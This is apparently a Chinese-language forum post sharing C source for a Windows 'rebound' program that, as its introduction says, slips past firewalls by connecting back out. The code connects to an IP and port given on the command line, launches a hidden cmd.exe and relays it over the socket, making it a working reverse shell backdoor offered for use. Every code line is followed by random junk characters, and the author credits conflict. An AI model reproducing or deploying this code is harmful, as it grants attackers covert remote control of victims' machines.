这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jvr`9<`
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/* ============================== |h-e+Wh1
Rebound port in Windows NT @ +yjt'B
By wind,2006/7 8fA8@O}
===============================*/ @Px_\w
#include yV t8QF!
#include md;jj^8zj
Bk@&k}0
#pragma comment(lib,"wsock32.lib") Np@RK1}
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void OutputShell(); ?U3~rro!
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <lP5}F87
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void main(int argc,char **argv) p%-;hL!
{ wUKt$_]``
WSADATA stWsaData; ;8g[y"I
int nRet; 2#X>^LH
SOCKADDR_IN stSaiClient,stSaiServer; D2'J(
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if(argc != 3) -u~AY#*
{ 4^7*R
printf("Useage:\n\rRebound DestIP DestPort\n"); #{5h6IC
return; "0m\y+%8
} $GQ{Ai:VwF
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WSAStartup(MAKEWORD(2,2),&stWsaData); Zb:S
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4F,RlKHBl
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stSaiClient.sin_family = AF_INET; [<.dOe7|
stSaiClient.sin_port = htons(0); 8gJg7RxL
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z-m:l;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;CDa*(e
{ ~ep^S^V+
printf("Bind Socket Failed!\n"); t: 03
return; vz^=o'
} zKFiCP
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stSaiServer.sin_family = AF_INET; nG7E j#1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <x1,4a~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #YK=e&da
tS[%C)
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E&0]s
{ naM=oSB(
printf("Connect Error!"); D<lV WP
return; :oytJhxU
} =xr2-K)e
OutputShell(); m6o o-muAr
} ;-VXp80J
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void OutputShell() gH/(4h
{ OySn[4`(i
char szBuff[1024]; e?<$H\
SECURITY_ATTRIBUTES stSecurityAttributes; bdj')%@n
OSVERSIONINFO stOsversionInfo; {CQI*\O
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3^]Kd
STARTUPINFO stStartupInfo; smPZ%P}P+c
char *szShell; h%&2M58:
PROCESS_INFORMATION stProcessInformation; oiItQ4{<
unsigned long lBytesRead; PDb7 h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B:fulgh2ni
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sPRs;to-
stSecurityAttributes.lpSecurityDescriptor = 0; %8lWJwb7u
stSecurityAttributes.bInheritHandle = TRUE; 95*=&d
}*VRj;ff
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bf/z
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xbc:Vr
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P]H4!}M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vY]7oX+
stStartupInfo.wShowWindow = SW_HIDE; b"eG8
stStartupInfo.hStdInput = hReadPipe; !wIrI/P7#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .F@ 2C
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GetVersionEx(&stOsversionInfo); R2y~+tko?
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switch(stOsversionInfo.dwPlatformId) .`^wRpa2M
{ i*e'eZ;)
case 1: a>#]d
szShell = "command.com"; 'e8O
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break; u(g9-O
default: EO"G(v
szShell = "cmd.exe"; (#rhD}
break; U?j[
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} c
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +krDmU9(
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send(sClient,szMsg,77,0); (4IH%Ez){
while(1) A5,(P$@k
{ s[}cj+0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); afye$$X
if(lBytesRead) (
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{ B dxV [SF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DS=Dg@y
send(sClient,szBuff,lBytesRead,0); RH"EO4
} /;`-[
else QVe<Z A8N;
{ d>Ky(wS
lBytesRead=recv(sClient,szBuff,1024,0); B+[L/C}=;
if(lBytesRead<=0) break; v8\pOI}c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uOb}R
} Z+
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} -Hg,:re2
URMxCL^"
return; >uJU25)|
}